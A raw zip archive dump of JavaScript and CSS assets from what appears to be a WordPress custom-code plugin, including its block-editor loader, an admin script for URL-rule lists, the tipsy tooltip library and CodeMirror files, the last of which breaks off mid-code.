PK     ]t]              assets/empty.cssnu ÕIw¶´        PK     ]t]5ÈíÀ  À    assets/ccj_block_editor.jsnu ÕIw¶´        /* Load the custom codes in the Desktop version of the editor, only for WP >= 6.6 */
jQuery(document).ready(function($) {
	if ( CCJ_codes['wp_version'].localeCompare('6.6', undefined, { numeric: true, sensitivity: 'base' }) < 0 ) {
		loadInternalCustomCodes( $('head') );
		loadExternalCustomCodes( $('head') );
	}
});



/* Load the custom codes in the Mobile/Tablet version of the editor */
jQuery(document).bind('DOMNodeInserted', function(e) {
	if ( e.target.className !== 'block-editor-iframe__container' ) return;

	jQuery('iframe').on('load', function() {
		let head_frm = jQuery('iframe[name=editor-canvas]').contents().find('head');

		if ( CCJ_codes['jquery'].length > 0 ) {
			head_frm.append( '<script src="' + CCJ_codes['jquery'] + '" id="jquery-core-js"></script>' );
		}

		loadInternalCustomCodes( head_frm );
		loadExternalCustomCodes( head_frm );
	});
});


/* Load external custom codes */
function loadExternalCustomCodes( where ) {
	if ( CCJ_codes['external'].length === 0 ) return; 
		
	for ( custom_code_file of CCJ_codes['external'] ) {
		let link = custom_code_file.includes( '.css' ) ?
			'<link rel="stylesheet" id="' + custom_code_file + '" href="' + CCJ_codes.path + custom_code_file + '" media="all">' :
			'<script type="text/javascript" src="' + CCJ_codes.path + custom_code_file + '"></script>'; 
		where.append( link );
	}
}

/* Load internal custom codes */
function loadInternalCustomCodes( where ) {
	if ( CCJ_codes['internal'].length === 0 ) return;
		
	for ( custom_code_file of CCJ_codes['internal'] ) {
		jQuery.ajax({
			url: CCJ_codes.path + custom_code_file,
			async: false,
			dataType: 'text',
			success: function(response) {
				jQuery( where ).append(response);
			}
		});
	}
}
PK     ]t]�ìC("  ("    assets/ccj_admin-url_rules.jsnu ÕIw¶´        
if (!String.prototype.trim) {(function() {
	var r = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g;
	String.prototype.trim = function() {
		return this.replace(r, '');
	};
})();};

if (!String.prototype.esc_html) {(function() {
	var r = /[&<>"'\/]/g;
	var entity_map = {'&': '&amp;', '<': '&lt;', '>': '&gt;', '"': '&quot;', "'": '&#39;', '/': '&#x2F;'};
	String.prototype.esc_html = function() {
		return this.replace(r, function from_entity_map(s) {
			return entity_map[s];
		});
	};
})();};

if (!String.prototype.capitalize) {
	String.prototype.capitalize = function() {
		return this.charAt(0).toUpperCase() + this.slice(1);
	}
};



;jQuery(document).ready(function($) {



	var elist_index = {};



	function elist_arrange(names) {
		
		var rq = /\%quot\%/g;
		var n, name, field, editable, f;
        var filters = {
            'contains'      : 'Contains',
            'not-contains'  : 'Not contains',
            'equal-to'      : 'Is equal to',
            'not-equal-to'  : 'Not equal to',
            'begins-with'   : 'Starts with',
            'ends-by'       : 'Ends by',
            'all'           : 'All Website',
            'first-page'    : 'Homepage'
        };
		
		for (n in names) {
			
			name = names[n];
			field = $('#wplnst-scan-' + name).val();
			field = ('' === field)? [] : JSON.parse(field);
			if (!(field instanceof Array) || 0 == field.length)
				continue;
			
			elist_index[name] = field.length;
			editable = ('true' == $('#wplnst-elist-' + name).attr('data-editable'));
		
			if ('anchor-filters' == name) {
				for (f in field)
					elist_add_row(name, elist_get_row(name, {'value' : field[f]['value'].esc_html().replace(rq, '&quot;'), 'type' : filters[ field[f]['type']].esc_html().replace('-', ' ')}, editable), field[f]['index']);
				
			}		
        }
	}



	function elist_add(name, value, inputs, row) {
		
		var field = $('#wplnst-scan-' + name).val();
		field = ('' === field)? [] : JSON.parse(field);
		if (!(field instanceof Array) || field.length > 25)
			return;

        var max_index = 1;
        $('.wplnst-elist-close-link').each(function() {
            if ( $(this).data('index') > max_index ) {
                max_index = $(this).data('index');
            }
        });
	
		
		(name in elist_index)? elist_index[name]++ : elist_index[name] = 0;
		// value['index'] = elist_index[name] + 1;
        value['index'] = max_index + 1;
		field.push(value);
		
		$('#wplnst-scan-' + name).val(JSON.stringify(field));

		for (var i = 0; i < inputs.length; i++)
			$('#' + inputs[i]).val('');

		elist_add_row(name, row, value['index']);
	}



	function elist_add_row(name, row, index) {
		row = row.replace(/\%class\-index\%/g, 'wplnst-' + name + '-' + index);
		row = row.replace('%close%', '<a href="#" class="wplnst-elist-close-link" data-name = "' + name + '" data-index="' + index + '">&nbsp;</a>');
		$('#' + 'wplnst-elist-' + name).append(row);
		$('#' + 'wplnst-elist-' + name).show();
	}



	function elist_get_row(name, args, editable) {
		
		if ('anchor-filters' == name)
			return '<tr class="%class-index%"><td class="wplnst-elist-type wplnst-afs-type">' + $('#wplnst-elist-anchor-filters').attr('data-label') + '&nbsp; <strong>' + args['type'] + '</strong></td><td class="wplnst-elist-val wplnst-afs-val">' + args['value']  + '</td><td class="wplnst-elist-close wplnst-afs-close">' + (editable? '%close%' : '') + '</td></tr><tr class="%class-index%"><td colspan="3" class="wplnst-elist-split"></td></tr>';
	
		return false;
	}


	$('.wplnst-elist').on('click', '.wplnst-elist-close-link', function() {

		var name = $(this).attr('data-name');
		var index = $(this).attr('data-index');
		
		var field = $('#wplnst-scan-' + name).val();
		if ('' !== field) {
			
			field = JSON.parse(field);
			if (field instanceof Array) {
				
				var field_new = [];
				for (var i = 0; i < field.length; i++) {
					if (index != field[i]['index'])
						field_new.push(field[i]);
				}
				
				$('#wplnst-scan-' + name).val(JSON.stringify(field_new));
				$('.wplnst-' + name + '-' + index).remove();
				
				if (0 === field_new.length)
					$('#' + 'wplnst-elist-' + name).hide();
			}
		}
		
		return false;
	});



	$('.wplnst-status-level').click(function() {
		var level = $(this).attr('id').replace('ck-status-level-', '');
		$('.wplnst-code-level-' + level).prop('checked', false);
	});

	$('.wplnst-code-level').click(function() {
		var level = $(this).attr('id').replace('ck-status-code-', '').charAt(0);
		$('#ck-status-level-' + level).prop('checked', false);
	});



	$('#wplnst-save-and-run').click(function() {
		$('#wplnst-scan-run').val('1');
		$('#wplnst-form').submit();
	});



	$('#wplnst-cf-new-add').click(function() {
		var name = $('#wplnst-cf-new').val().trim();
		if ('' === name)
			return;
		elist_add('custom-fields', {'name' : name, 'type': $('#wplnst-cf-new-type').val()}, ['wplnst-cf-new'], elist_get_row('custom-fields', {'name' : name.esc_html(), 'type' : $('#wplnst-cf-new-type option:selected').text().esc_html()}, true));
	});
	
	$('#wplnst-cf-new').bind('keypress', function(e) {
		if (e.keyCode == 13) {
			$('#wplnst-cf-new-add').click();
			return false;
		}
	});



	$('#wplnst-af-new-add').click(function() {
		var value = $('#wplnst-af-new').val().trim();
		var type  = $('#wplnst-af-new-type').val();

        if ( type === 'empty' || type === 'all' || type === 'first-page' ) {
            value = '';
        } else if ( value === '' ) {
            return;
        } 
		elist_add('anchor-filters', {'value' : value, 'type': type}, ['wplnst-af-new'], elist_get_row('anchor-filters', {'type' : $('#wplnst-af-new-type option:selected').text().esc_html(), 'value' : value.esc_html() }, true));
	});

	$('#wplnst-af-new').bind('keypress', function(e) {
		if (e.keyCode == 13) {
			$('#wplnst-af-new-add').click();
			return false;
		}
	});

	$('#wplnst-af-new-type').change(function() {
		var disabled = ('empty' == $(this).val());
		$('#wplnst-af-new').attr('disabled', disabled);
	});



	$('#wplnst-ius-new-add').click(function() {
		var value = $('#wplnst-ius-new').val().trim();
		if ('' === value)
			return;
		elist_add('include-urls', {'value' : value, 'type': $('#wplnst-ius-new-type').val()}, ['wplnst-ius-new'], elist_get_row('include-urls', {'value' : value.esc_html(), 'type' : $('#wplnst-ius-new-type option:selected').text().esc_html()}, true));
	});

	$('#wplnst-ius-new').bind('keypress', function(e) {
		if (e.keyCode == 13) {
			$('#wplnst-ius-new-add').click();
			return false;
		}
	});



	$('#wplnst-eus-new-add').click(function() {
		var value = $('#wplnst-eus-new').val().trim();
		if ('' === value)
			return;
		elist_add('exclude-urls', {'value' : value, 'type': $('#wplnst-eus-new-type').val()}, ['wplnst-eus-new'], elist_get_row('exclude-urls', {'value' : value.esc_html(), 'type' : $('#wplnst-eus-new-type option:selected').text().esc_html()}, true));
	});

	$('#wplnst-eus-new').bind('keypress', function(e) {
		if (e.keyCode == 13) {
			$('#wplnst-eus-new-add').click();
			return false;
		}
	});



	$('#wplnst-hes-new-add').click(function() {
		
		var att = $('#wplnst-hes-new-att').val().trim();
		if ('' === att)
			return;
		
		var element = $('#wplnst-hes-new').val();		
		var having  = $('#wplnst-hes-new-have').val();
		
		var op = op_text = value = '';
		if ('have' == having) {
			
			var op = $('#wplnst-hes-new-op').val();
			var op_text = $('#wplnst-hes-new-op option:selected').text().toLowerCase();
			var value = '' + $('#wplnst-hes-new-val').val().trim();
			
			if ('not-empty' == op || 'empty' == op) {
				value = '';
			} else if ('' === value) {
				return;
			}
		}
		
		elist_add(
			'html-attributes',
			{'att' : att, 'element' : element, 'having' : having, 'op' : op, 'value' : value},
			['wplnst-hes-new-att', 'wplnst-hes-new-val'],
			elist_get_row('html-attributes', {'element' : element.esc_html(), 'having' : $('#wplnst-hes-new-have option:selected').text().toLowerCase().esc_html(), 'att' : att.esc_html(), 'op' : op_text.esc_html(), 'value' : value.esc_html()}, true)
		);
	});

	$('#wplnst-hes-new-att').bind('keypress', function(e) {
		if (e.keyCode == 13) {
			$('#wplnst-hes-new-add').click();
			return false;
		}
	});

	$('#wplnst-hes-new-val').bind('keypress', function(e) {
		if (e.keyCode == 13) {
			$('#wplnst-hes-new-add').click();
			return false;
		}
	});

	$('#wplnst-hes-new-have').change(function() {
		var disabled = ('have' != $(this).val());
		$('#wplnst-hes-new-op').attr('disabled', disabled);
		$('#wplnst-hes-new-val').attr('disabled', disabled);
	});

	$('#wplnst-hes-new-op').change(function() {
		$('#wplnst-hes-new-val').attr('disabled', ('empty' == $(this).val() || 'not-empty' == $(this).val()));
	});



	elist_arrange(['anchor-filters']);


	
});
PK     ]t]œA ;&  ;&    assets/jquery.tipsy.jsnu ÕIw¶´        // tipsy, facebook style tooltips for jquery
// version 1.0.0a
// (c) 2008-2010 jason frame [jason@onehackoranother.com]
// released under the MIT license

(function($) {
    
    function maybeCall(thing, ctx) {
        return (typeof thing == 'function') ? (thing.call(ctx)) : thing;
    };
    
    function isElementInDOM(ele) {
      while (ele = ele.parentNode) {
        if (ele == document) return true;
      }
      return false;
    };
    
    function Tipsy(element, options) {
        this.$element = $(element);
        this.options = options;
        this.enabled = true;
        this.fixTitle();
    };
    
    Tipsy.prototype = {
        show: function() {
            var title = this.getTitle();
            if (title && this.enabled) {
                var $tip = this.tip();
                
                $tip.find('.tipsy-inner')[this.options.html ? 'html' : 'text'](title);
                $tip[0].className = 'tipsy'; // reset classname in case of dynamic gravity
                $tip.remove().css({top: 0, left: 0, visibility: 'hidden', display: 'block'}).prependTo(document.body);
                
                var pos = $.extend({}, this.$element.offset(), {
                    width: this.$element[0].offsetWidth,
                    height: this.$element[0].offsetHeight
                });
                
                var actualWidth = $tip[0].offsetWidth,
                    actualHeight = $tip[0].offsetHeight,
                    gravity = maybeCall(this.options.gravity, this.$element[0]);
                
                var tp;
                switch (gravity.charAt(0)) {
                    case 'n':
                        tp = {top: pos.top + pos.height + this.options.offset, left: pos.left + pos.width / 2 - actualWidth / 2};
                        break;
                    case 's':
                        tp = {top: pos.top - actualHeight - this.options.offset, left: pos.left + pos.width / 2 - actualWidth / 2};
                        break;
                    case 'e':
                        tp = {top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left - actualWidth - this.options.offset};
                        break;
                    case 'w':
                        tp = {top: pos.top + pos.height / 2 - actualHeight / 2, left: pos.left + pos.width + this.options.offset};
                        break;
                }
                
                if (gravity.length == 2) {
                    if (gravity.charAt(1) == 'w') {
                        tp.left = pos.left + pos.width / 2 - 15;
                    } else {
                        tp.left = pos.left + pos.width / 2 - actualWidth + 15;
                    }
                }
                
                $tip.css(tp).addClass('tipsy-' + gravity);
                $tip.find('.tipsy-arrow')[0].className = 'tipsy-arrow tipsy-arrow-' + gravity.charAt(0);
                if (this.options.className) {
                    $tip.addClass(maybeCall(this.options.className, this.$element[0]));
                }
                
                if (this.options.fade) {
                    $tip.stop().css({opacity: 0, display: 'block', visibility: 'visible'}).animate({opacity: this.options.opacity});
                } else {
                    $tip.css({visibility: 'visible', opacity: this.options.opacity});
                }
            }
        },
        
        hide: function() {
            if (this.options.fade) {
                this.tip().stop().fadeOut(function() { $(this).remove(); });
            } else {
                this.tip().remove();
            }
        },
        
        fixTitle: function() {
            var $e = this.$element;
            if ($e.attr('title') || typeof($e.attr('original-title')) != 'string') {
                $e.attr('original-title', $e.attr('title') || '').removeAttr('title');
            }
        },
        
        getTitle: function() {
            var title, $e = this.$element, o = this.options;
            this.fixTitle();
            var title, o = this.options;
            if (typeof o.title == 'string') {
                title = $e.attr(o.title == 'title' ? 'original-title' : o.title);
            } else if (typeof o.title == 'function') {
                title = o.title.call($e[0]);
            }
            title = ('' + title).replace(/(^\s*|\s*$)/, "");
            return title || o.fallback;
        },
        
        tip: function() {
            if (!this.$tip) {
                this.$tip = $('<div class="tipsy"></div>').html('<div class="tipsy-arrow"></div><div class="tipsy-inner"></div>');
                this.$tip.data('tipsy-pointee', this.$element[0]);
            }
            return this.$tip;
        },
        
        validate: function() {
            if (!this.$element[0].parentNode) {
                this.hide();
                this.$element = null;
                this.options = null;
            }
        },
        
        enable: function() { this.enabled = true; },
        disable: function() { this.enabled = false; },
        toggleEnabled: function() { this.enabled = !this.enabled; }
    };
    
    $.fn.tipsy = function(options) {
        
        if (options === true) {
            return this.data('tipsy');
        } else if (typeof options == 'string') {
            var tipsy = this.data('tipsy');
            if (tipsy) tipsy[options]();
            return this;
        }
        
        options = $.extend({}, $.fn.tipsy.defaults, options);
        
        function get(ele) {
            var tipsy = $.data(ele, 'tipsy');
            if (!tipsy) {
                tipsy = new Tipsy(ele, $.fn.tipsy.elementOptions(ele, options));
                $.data(ele, 'tipsy', tipsy);
            }
            return tipsy;
        }
        
        function enter() {
            var tipsy = get(this);
            tipsy.hoverState = 'in';
            if (options.delayIn == 0) {
                tipsy.show();
            } else {
                tipsy.fixTitle();
                setTimeout(function() { if (tipsy.hoverState == 'in') tipsy.show(); }, options.delayIn);
            }
        };
        
        function leave() {
            var tipsy = get(this);
            tipsy.hoverState = 'out';
            if (options.delayOut == 0) {
                tipsy.hide();
            } else {
                setTimeout(function() { if (tipsy.hoverState == 'out') tipsy.hide(); }, options.delayOut);
            }
        };
        
        if (!options.live) this.each(function() { get(this); });
        
        if (options.trigger != 'manual') {
            var binder   = options.live ? 'live' : 'bind',
                eventIn  = options.trigger == 'hover' ? 'mouseenter' : 'focus',
                eventOut = options.trigger == 'hover' ? 'mouseleave' : 'blur';
            this[binder](eventIn, enter)[binder](eventOut, leave);
        }
        
        return this;
        
    };
    
    $.fn.tipsy.defaults = {
        className: null,
        delayIn: 0,
        delayOut: 0,
        fade: false,
        fallback: '',
        gravity: 'n',
        html: false,
        live: false,
        offset: 0,
        opacity: 0.8,
        title: 'title',
        trigger: 'hover'
    };
    
    $.fn.tipsy.revalidate = function() {
      $('.tipsy').each(function() {
        var pointee = $.data(this, 'tipsy-pointee');
        if (!pointee || !isElementInDOM(pointee)) {
          $(this).remove();
        }
      });
    };
    
    // Overwrite this method to provide options on a per-element basis.
    // For example, you could store the gravity in a 'tipsy-gravity' attribute:
    // return $.extend({}, options, {gravity: $(ele).attr('tipsy-gravity') || 'n' });
    // (remember - do not modify 'options' in place!)
    $.fn.tipsy.elementOptions = function(ele, options) {
        return $.metadata ? $.extend({}, options, $(ele).metadata()) : options;
    };
    
    $.fn.tipsy.autoNS = function() {
        return $(this).offset().top > ($(document).scrollTop() + $(window).height() / 2) ? 's' : 'n';
    };
    
    $.fn.tipsy.autoWE = function() {
        return $(this).offset().left > ($(document).scrollLeft() + $(window).width() / 2) ? 'e' : 'w';
    };
    
    /**
     * yields a closure of the supplied parameters, producing a function that takes
     * no arguments and is suitable for use as an autogravity function like so:
     *
     * @param margin (int) - distance from the viewable region edge that an
     *        element should be before setting its tooltip's gravity to be away
     *        from that edge.
     * @param prefer (string, e.g. 'n', 'sw', 'w') - the direction to prefer
     *        if there are no viewable region edges effecting the tooltip's
     *        gravity. It will try to vary from this minimally, for example,
     *        if 'sw' is preferred and an element is near the right viewable 
     *        region edge, but not the top edge, it will set the gravity for
     *        that element's tooltip to be 'se', preserving the southern
     *        component.
     */
     $.fn.tipsy.autoBounds = function(margin, prefer) {
		return function() {
			var dir = {ns: prefer[0], ew: (prefer.length > 1 ? prefer[1] : false)},
			    boundTop = $(document).scrollTop() + margin,
			    boundLeft = $(document).scrollLeft() + margin,
			    $this = $(this);

			if ($this.offset().top < boundTop) dir.ns = 'n';
			if ($this.offset().left < boundLeft) dir.ew = 'w';
			if ($(window).width() + $(document).scrollLeft() - $this.offset().left < margin) dir.ew = 'e';
			if ($(window).height() + $(document).scrollTop() - $this.offset().top < margin) dir.ns = 's';

			return dir.ns + (dir.ew ? dir.ew : '');
		}
	};
    
})(jQuery);
PK     ]t]€Âò·T  T  &  assets/codemirror/theme/3024-night.cssnu ÕIw¶´        .cm-s-3024-night.CodeMirror{background:#090300;color:#d6d5d4}.cm-s-3024-night div.CodeMirror-selected{background:#3a3432}.cm-s-3024-night .CodeMirror-line::selection,.cm-s-3024-night .CodeMirror-line>span::selection,.cm-s-3024-night .CodeMirror-line>span>span::selection{background:rgba(58,52,50,.99)}.cm-s-3024-night .CodeMirror-line::-moz-selection,.cm-s-3024-night .CodeMirror-line>span::-moz-selection,.cm-s-3024-night .CodeMirror-line>span>span::-moz-selection{background:rgba(58,52,50,.99)}.cm-s-3024-night .CodeMirror-gutters{background:#090300;border-right:0}.cm-s-3024-night .CodeMirror-guttermarker{color:#db2d20}.cm-s-3024-night .CodeMirror-guttermarker-subtle{color:#5c5855}.cm-s-3024-night .CodeMirror-linenumber{color:#5c5855}.cm-s-3024-night .CodeMirror-cursor{border-left:1px solid #807d7c}.cm-s-3024-night span.cm-comment{color:#cdab53}.cm-s-3024-night span.cm-atom{color:#a16a94}.cm-s-3024-night span.cm-number{color:#a16a94}.cm-s-3024-night span.cm-attribute,.cm-s-3024-night span.cm-property{color:#01a252}.cm-s-3024-night span.cm-keyword{color:#db2d20}.cm-s-3024-night span.cm-string{color:#fded02}.cm-s-3024-night span.cm-variable{color:#01a252}.cm-s-3024-night span.cm-variable-2{color:#01a0e4}.cm-s-3024-night span.cm-def{color:#e8bbd0}.cm-s-3024-night span.cm-bracket{color:#d6d5d4}.cm-s-3024-night span.cm-tag{color:#db2d20}.cm-s-3024-night span.cm-link{color:#a16a94}.cm-s-3024-night span.cm-error{background:#db2d20;color:#807d7c}.cm-s-3024-night .CodeMirror-activeline-background{background:#2f2f2f}.cm-s-3024-night .CodeMirror-matchingbracket{text-decoration:underline;color:#fff!important}PK     ]t]Gú/ÚC  C  (  assets/codemirror/lib/util/formatting.jsnu ÕIw¶´        (function() {

  CodeMirror.extendMode("css", {
    commentStart: "/*",
    commentEnd: "*/",
    newlineAfterToken: function(type, content) {
      return /^[;{}]$/.test(content);
    }
  });

  CodeMirror.extendMode("javascript", {
    commentStart: "/*",
    commentEnd: "*/",
    // FIXME semicolons inside of for
    newlineAfterToken: function(type, content, textAfter, state) {
      if (this.jsonMode) {
        return /^[\[,{]$/.test(content) || /^}/.test(textAfter);
      } else {
        if (content == ";" && state.lexical && state.lexical.type == ")") return false;
        return /^[;{}]$/.test(content) && !/^;/.test(textAfter);
      }
    }
  });

  CodeMirror.extendMode("xml", {
    commentStart: "<!--",
    commentEnd: "-->",
    newlineAfterToken: function(type, content, textAfter) {
      return type == "tag" && />$/.test(content) || /^</.test(textAfter);
    }
  });

  // Comment/uncomment the specified range
  CodeMirror.defineExtension("commentRange", function (isComment, from, to) {
    var cm = this, curMode = CodeMirror.innerMode(cm.getMode(), cm.getTokenAt(from).state).mode;
    cm.operation(function() {
      if (isComment) { // Comment range
        cm.replaceRange(curMode.commentEnd, to);
        cm.replaceRange(curMode.commentStart, from);
        if (from.line == to.line && from.ch == to.ch) // An empty comment inserted - put cursor inside
          cm.setCursor(from.line, from.ch + curMode.commentStart.length);
      } else { // Uncomment range
        var selText = cm.getRange(from, to);
        var startIndex = selText.indexOf(curMode.commentStart);
        var endIndex = selText.lastIndexOf(curMode.commentEnd);
        if (startIndex > -1 && endIndex > -1 && endIndex > startIndex) {
          // Take string till comment start
          selText = selText.substr(0, startIndex)
          // From comment start till comment end
            + selText.substring(startIndex + curMode.commentStart.length, endIndex)
          // From comment end till string end
            + selText.substr(endIndex + curMode.commentEnd.length);
        }
        cm.replaceRange(selText, from, to);
      }
    });
  });

  // Applies automatic mode-aware indentation to the specified range
  CodeMirror.defineExtension("autoIndentRange", function (from, to) {
    var cmInstance = this;
    this.operation(function () {
      for (var i = from.line; i <= to.line; i++) {
        cmInstance.indentLine(i, "smart");
      }
    });
  });

  // Applies automatic formatting to the specified range
  CodeMirror.defineExtension("autoFormatRange", function (from, to) {
    var cm = this;
    var outer = cm.getMode(), text = cm.getRange(from, to).split("\n");
    var state = CodeMirror.copyState(outer, cm.getTokenAt(from).state);
    var tabSize = cm.getOption("tabSize");

    var out = "", lines = 0, atSol = from.ch == 0;
    function newline() {
      out += "\n";
      atSol = true;
      ++lines;
    }

    for (var i = 0; i < text.length; ++i) {
      var stream = new CodeMirror.StringStream(text[i], tabSize);
      while (!stream.eol()) {
        var inner = CodeMirror.innerMode(outer, state);
        var style = outer.token(stream, state), cur = stream.current();
        stream.start = stream.pos;
        if (!atSol || /\S/.test(cur)) {
          out += cur;
          atSol = false;
        }
        if (!atSol && inner.mode.newlineAfterToken &&
            inner.mode.newlineAfterToken(style, cur, stream.string.slice(stream.pos) || text[i+1] || "", inner.state))
          newline();
      }
      if (!stream.pos && outer.blankLine) outer.blankLine(state);
      if (!atSol) newline();
    }

    cm.operation(function () {
      cm.replaceRange(out, from, to);
      for (var cur = from.line + 1, end = from.line + lines; cur <= end; ++cur)
        cm.indentLine(cur, "smart");
      cm.setSelection(from, cm.getCursor(false));
    });
  });
})();
PK     ]t]†�z¨Z~ Z~ #  assets/codemirror/lib/codemirror.jsnu ÕIw¶´        'use strict';var $jscomp=$jscomp||{};$jscomp.scope={};$jscomp.findInternal=function(w,H,F){w instanceof String&&(w=String(w));for(var t=w.length,U=0;U<t;U++){var ha=w[U];if(H.call(F,ha,U,w))return{i:U,v:ha}}return{i:-1,v:void 0}};$jscomp.ASSUME_ES5=!1;$jscomp.ASSUME_NO_NATIVE_MAP=!1;$jscomp.ASSUME_NO_NATIVE_SET=!1;$jscomp.defineProperty=$jscomp.ASSUME_ES5||"function"==typeof Object.defineProperties?Object.defineProperty:function(w,H,F){w!=Array.prototype&&w!=Object.prototype&&(w[H]=F.value)};
$jscomp.getGlobal=function(w){return"undefined"!=typeof window&&window===w?w:"undefined"!=typeof global&&null!=global?global:w};$jscomp.global=$jscomp.getGlobal(this);$jscomp.polyfill=function(w,H,F,t){if(H){F=$jscomp.global;w=w.split(".");for(t=0;t<w.length-1;t++){var U=w[t];U in F||(F[U]={});F=F[U]}w=w[w.length-1];t=F[w];H=H(t);H!=t&&null!=H&&$jscomp.defineProperty(F,w,{configurable:!0,writable:!0,value:H})}};
$jscomp.polyfill("Array.prototype.find",function(w){return w?w:function(w,F){return $jscomp.findInternal(this,w,F).v}},"es6-impl","es3");
(function(w,H){"object"===typeof exports&&"undefined"!==typeof module?module.exports=H():"function"===typeof define&&define.amd?define(H):w.CodeMirror=H()})(this,function(){function w(a){return new RegExp("(^|\\s)"+a+"(?:$|\\s)\\s*")}function H(a){for(var b=a.childNodes.length;0<b;--b)a.removeChild(a.firstChild);return a}function F(a,b){return H(a).appendChild(b)}function t(a,b,c,d){a=document.createElement(a);c&&(a.className=c);d&&(a.style.cssText=d);if("string"==typeof b)a.appendChild(document.createTextNode(b));
else if(b)for(c=0;c<b.length;++c)a.appendChild(b[c]);return a}function U(a,b,c,d){a=t(a,b,c,d);a.setAttribute("role","presentation");return a}function ha(a,b){3==b.nodeType&&(b=b.parentNode);if(a.contains)return a.contains(b);do if(11==b.nodeType&&(b=b.host),b==a)return!0;while(b=b.parentNode)}function ra(){try{var a=document.activeElement}catch(b){a=document.body||null}for(;a&&a.shadowRoot&&a.shadowRoot.activeElement;)a=a.shadowRoot.activeElement;return a}function Fa(a,b){var c=a.className;w(b).test(c)||
(a.className+=(c?" ":"")+b)}function Jc(a,b){a=a.split(" ");for(var c=0;c<a.length;c++)a[c]&&!w(a[c]).test(b)&&(b+=" "+a[c]);return b}function Kc(a){var b=Array.prototype.slice.call(arguments,1);return function(){return a.apply(null,b)}}function Ga(a,b,c){b||(b={});for(var d in a)!a.hasOwnProperty(d)||!1===c&&b.hasOwnProperty(d)||(b[d]=a[d]);return b}function fa(a,b,c,d,e){null==b&&(b=a.search(/[^\s\u00a0]/),-1==b&&(b=a.length));d=d||0;for(e=e||0;;){var f=a.indexOf("\t",d);if(0>f||f>=b)return e+(b-
d);e+=f-d;e+=c-e%c;d=f+1}}function Q(a,b){for(var c=0;c<a.length;++c)if(a[c]==b)return c;return-1}function Lc(a,b,c){for(var d=0,e=0;;){var f=a.indexOf("\t",d);-1==f&&(f=a.length);var g=f-d;if(f==a.length||e+g>=b)return d+Math.min(g,b-e);e+=f-d;e+=c-e%c;d=f+1;if(e>=b)return d}}function Mc(a){for(;dc.length<=a;)dc.push(y(dc)+" ");return dc[a]}function y(a){return a[a.length-1]}function ec(a,b){for(var c=[],d=0;d<a.length;d++)c[d]=b(a[d],d);return c}function ag(a,b,c){for(var d=0,e=c(b);d<a.length&&
c(a[d])<=e;)d++;a.splice(d,0,b)}function Qd(){}function Rd(a,b){Object.create?a=Object.create(a):(Qd.prototype=a,a=new Qd);b&&Ga(b,a);return a}function Nc(a){return/\w/.test(a)||"\u0080"<a&&(a.toUpperCase()!=a.toLowerCase()||bg.test(a))}function fc(a,b){return b?-1<b.source.indexOf("\\w")&&Nc(a)?!0:b.test(a):Nc(a)}function Sd(a){for(var b in a)if(a.hasOwnProperty(b)&&a[b])return!1;return!0}function Oc(a){return 768<=a.charCodeAt(0)&&cg.test(a)}function Td(a,b,c){for(;(0>c?0<b:b<a.length)&&Oc(a.charAt(b));)b+=
c;return b}function gc(a,b,c){for(;;){if(1>=Math.abs(b-c))return a(b)?b:c;var d=Math.floor((b+c)/2);a(d)?c=d:b=d}}function dg(a,b,c){this.input=c;this.scrollbarFiller=t("div",null,"CodeMirror-scrollbar-filler");this.scrollbarFiller.setAttribute("cm-not-content","true");this.gutterFiller=t("div",null,"CodeMirror-gutter-filler");this.gutterFiller.setAttribute("cm-not-content","true");this.lineDiv=U("div",null,"CodeMirror-code");this.selectionDiv=t("div",null,null,"position: relative; z-index: 1");this.cursorDiv=
t("div",null,"CodeMirror-cursors");this.measure=t("div",null,"CodeMirror-measure");this.lineMeasure=t("div",null,"CodeMirror-measure");this.lineSpace=U("div",[this.measure,this.lineMeasure,this.selectionDiv,this.cursorDiv,this.lineDiv],null,"position: relative; outline: none");var d=U("div",[this.lineSpace],"CodeMirror-lines");this.mover=t("div",[d],null,"position: relative");this.sizer=t("div",[this.mover],"CodeMirror-sizer");this.sizerWidth=null;this.heightForcer=t("div",null,null,"position: absolute; height: 30px; width: 1px;");
this.gutters=t("div",null,"CodeMirror-gutters");this.lineGutter=null;this.scroller=t("div",[this.sizer,this.heightForcer,this.gutters],"CodeMirror-scroll");this.scroller.setAttribute("tabIndex","-1");this.wrapper=t("div",[this.scrollbarFiller,this.gutterFiller,this.scroller],"CodeMirror");D&&8>B&&(this.gutters.style.zIndex=-1,this.scroller.style.paddingRight=0);T||xa&&qb||(this.scroller.draggable=!0);a&&(a.appendChild?a.appendChild(this.wrapper):a(this.wrapper));this.reportedViewFrom=this.reportedViewTo=
this.viewFrom=this.viewTo=b.first;this.view=[];this.externalMeasured=this.renderedView=null;this.lastWrapHeight=this.lastWrapWidth=this.viewOffset=0;this.updateLineNumbers=null;this.nativeBarWidth=this.barHeight=this.barWidth=0;this.scrollbarsClipped=!1;this.lineNumWidth=this.lineNumInnerWidth=this.lineNumChars=null;this.alignWidgets=!1;this.maxLine=this.cachedCharWidth=this.cachedTextHeight=this.cachedPaddingH=null;this.maxLineLength=0;this.maxLineChanged=!1;this.wheelDX=this.wheelDY=this.wheelStartX=
this.wheelStartY=null;this.shift=!1;this.activeTouch=this.selForContextMenu=null;c.init(this)}function u(a,b){b-=a.first;if(0>b||b>=a.size)throw Error("There is no line "+(b+a.first)+" in the document.");for(;!a.lines;)for(var c=0;;++c){var d=a.children[c],e=d.chunkSize();if(b<e){a=d;break}b-=e}return a.lines[b]}function Ha(a,b,c){var d=[],e=b.line;a.iter(b.line,c.line+1,function(a){a=a.text;e==c.line&&(a=a.slice(0,c.ch));e==b.line&&(a=a.slice(b.ch));d.push(a);++e});return d}function Pc(a,b,c){var d=
[];a.iter(b,c,function(a){d.push(a.text)});return d}function ma(a,b){if(b-=a.height)for(;a;a=a.parent)a.height+=b}function E(a){if(null==a.parent)return null;var b=a.parent;a=Q(b.lines,a);for(var c=b.parent;c;b=c,c=c.parent)for(var d=0;c.children[d]!=b;++d)a+=c.children[d].chunkSize();return a+b.first}function Ia(a,b){var c=a.first;a:do{for(var d=0;d<a.children.length;++d){var e=a.children[d],f=e.height;if(b<f){a=e;continue a}b-=f;c+=e.chunkSize()}return c}while(!a.lines);for(d=0;d<a.lines.length;++d){e=
